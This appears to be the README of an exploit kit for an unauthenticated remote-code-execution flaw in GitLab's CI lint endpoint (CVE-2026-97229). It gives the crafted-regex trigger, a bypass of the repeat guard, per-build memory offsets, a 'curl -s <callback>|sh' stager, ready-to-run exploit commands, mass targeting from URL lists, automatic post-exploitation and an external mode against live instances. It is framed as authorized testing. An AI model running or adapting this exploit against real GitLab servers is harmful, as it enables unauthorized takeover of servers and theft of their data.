
Laboratoire Docker et exploit Python pour CVE-2026-97229, un débordement d'entier Onigmo dans le lint CI de GitLab, non authentifié, menant à une RCE, avec sondage, dérivation de la disposition mémoire et post-exploitation.
Tests autorisés uniquement. Utilisez ceci contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (périmètre de bug bounty, mission client, votre propre laboratoire). Toute utilisation non autorisée est illégale.
Une requête de lint CI non authentifiée qui corrompt le matcher Onigmo et redirige l'exécution vers un
gadget system() à l'intérieur de libruby.so :
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
La requête finale n'est pas authentifiée, mais l'implantation de la configuration CI malveillante nécessite un accès en écriture à un projet public (ou à une instance qui autorise l'auto-inscription et les projets publics).
| Élément | Valeur |
|---|---|
| Affecté (testé) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| Non exploitable | 19.2.8, 19.3.4 (valeur aberrante, voir ci-dessous), 19.3.5, 19.4.2 ; 19.2.3 n'a pas d'image CE |
| Déclencheur | GET /api/v4/projects/:id/ci/lint non authentifié |
| Prérequis | accessibilité + écriture sur un projet public (jeton, compte compromis ou inscription ouverte) |
| Impact | exécution de commandes en tant que git (uid 998) à l'intérieur du conteneur GitLab |
| Contraintes du PoC | builds x86_64 ; la disposition dépend de chaque build de libruby.so, et non de la chaîne de version |
| Périmètre de l'avis | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 est indiqué comme affecté par l'avis, mais son
libruby.soembarqué n'entre jamais dans le chemin d'expansion vulnérable — nous n'avons pas pu l'exploiter (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
Aucun compte cloud et aucun SSH : le lab est du simple Docker (démon local, DOCKER_HOST, ou un contexte docker).
Sur Docker Desktop, ajoutez --callback-host host.docker.internal.
include.rules.exists.regexp forgé ainsi qu'un chemin de dépôt de 110 octets.{5(?#)7805} afin que le garde-fou de répétition côté Rails (REPEAT_MAX=1000) ne la détecte pas.call et l'offset de system@plt, redirigeant la VM.curl -s <callback>|sh, donnant un shell en tant qu'utilisateur de service git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
Le lanceur applique les paramètres mémoire dont l'exploit a besoin (sidekiq off, un seul worker Puma, petits
tampons Postgres, --memory 6.5g --shm-size 256m), attend l'interface utilisateur et définit le mot de passe root.
Voir lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Champ | Signification |
|---|---|
http | état de GET /users/sign_in |
version | version de GitLab lue depuis le conteneur (null sans accès au conteneur) |
class | classification de l'avis : affected / patched / not-listed / unknown |
libruby_md5 | identité de build du libruby.so du conteneur cible |
layout | finish / gadget / step (uniquement lorsque le build est connu ou dérivable) |
exploitable | indique si un layout est disponible ; class=affected ne l'implique pas |
layout_source | table, derived, ou no-overflow-in-build |
class: "unknown" signifie simplement qu'aucune information de conteneur/version n'était disponible — pour une cible fournie uniquement par URL, l'outil ne peut ni classifier ni dériver un layout. Voir « Cibles externes » ci-dessous.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Critère de réussite : lint vaut dropped(HTTPError) ou http(502) et output commence par
uid=998(git). Un 200 avec valid:true signifie que le build n'est pas vulnérable.
| Ligne | Exploitable | Corrigé / non exploitable |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8 ; 19.2.3 n'a pas d'image CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (le matcher ne s'étend jamais), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Preuves par build : repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container est requis pour le chemin d'exploitation actuel (libruby/layout + rails runner) ; layout est une
surcharge optionnelle pour les builds que l'outil ne peut pas lire.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
Pour chaque cible, dans l'ordre : probe → exploit → en cas de RCE post-exploitation
(exploit/post/collect.sh ; remplacer avec --post-command-file, désactiver avec --no-post).
--probe-only s'arrête après l'empreinte. Code de sortie 0 si une cible a donné lieu à une RCE.
La charge utile nécessite trois constantes par build (gadget finish, system@plt, étape UTF-8). Ordre de résolution :
layout explicite (0x… 0x… 12345) ;libruby.so du conteneur via exploit/layout.py.Tous les builds vulnérables connus n'utilisent que deux dispositions : 0x486DA9/0x31EE29/1249885 et
0x4885A9/0x31E809/1256138.
--mode external ne nécessite que HTTP et un PAT (portée api) : il crée un projet public via l'API,
pousse avec oauth2:<token>, déclenche le lint non authentifié, puis supprime le projet ensuite.